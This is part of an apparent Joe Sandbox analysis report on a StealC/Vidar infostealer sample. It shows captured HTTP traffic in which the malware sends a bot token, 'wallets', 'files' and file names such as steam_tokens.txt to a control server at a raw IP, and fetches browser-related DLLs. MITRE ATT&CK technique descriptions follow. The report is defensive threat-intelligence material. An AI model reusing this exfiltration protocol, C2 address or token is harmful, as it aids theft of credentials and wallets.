0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 2d 2d 0d 0a Data Ascii: ------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="message"fplugins------DAEBFHJKJEBFCBFHDAEG--
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBKECAKFBGCAKECGIEHost: 193.233.113.184Content-Length: 7895Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /53e0491f34ea3a8a/sqlite3.dll HTTP/1.1Host: 193.233.113.184Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGDBFIJKEBGIDGDHCGCHost: 193.233.113.184Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJKJJDHCGCAECAAECFHHost: 193.233.113.184Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDBGHCBAEGCBFHJEBFIHost: 193.233.113.184Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 42 47 48 43 42 41 45 47 43 42 46 48 4a 45 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 42 47 48 43 42 41 45 47 43 42 46 48 4a 45 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 42 47 48 43 42 41 45 47 43 42 46 48 4a 45 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 42 47 48 43 42 41 45 47 43 42 46 48 4a 45 42 46 49 2d 2d 0d 0a Data Ascii: ------DHDBGHCBAEGCBFHJEBFIContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------DHDBGHCBAEGCBFHJEBFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHDBGHCBAEGCBFHJEBFIContent-Disposition: form-data; name="file"------DHDBGHCBAEGCBFHJEBFI--
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIJKKFHIEGCBGCAFIJHost: 193.233.113.184Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="file"------AEHIJKKFHIEGCBGCAFIJ--
Source: global traffic	HTTP traffic detected: GET /53e0491f34ea3a8a/freebl3.dll HTTP/1.1Host: 193.233.113.184Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /53e0491f34ea3a8a/mozglue.dll HTTP/1.1Host: 193.233.113.184Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /53e0491f34ea3a8a/msvcp140.dll HTTP/1.1Host: 193.233.113.184Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /53e0491f34ea3a8a/nss3.dll HTTP/1.1Host: 193.233.113.184Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /53e0491f34ea3a8a/softokn3.dll HTTP/1.1Host: 193.233.113.184Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /53e0491f34ea3a8a/vcruntime140.dll HTTP/1.1Host: 193.233.113.184Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCAHost: 193.233.113.184Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAAHost: 193.233.113.184Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="message"wallets------HIDHIEGIIIECAKEBFBAA--
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCBHost: 193.233.113.184Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 2d 2d 0d 0a Data Ascii: ------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="message"files------EGHJKFHJJJKJJJJKEHCB--
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAEHJJECAEGCAAAAEGIHost: 193.233.113.184Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 2d 2d 0d 0a Data Ascii: ------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="file"------JDAEHJJECAEGCAAAAEGI--
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEHHost: 193.233.113.184Content-Length: 113427Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAEHost: 193.233.113.184Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="message"ybncbhylepme------EGDGCGCFHIEHIDGDBAAE--
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBAHost: 193.233.113.184Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGDAAEHDHIIJKECBKEBA--

Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

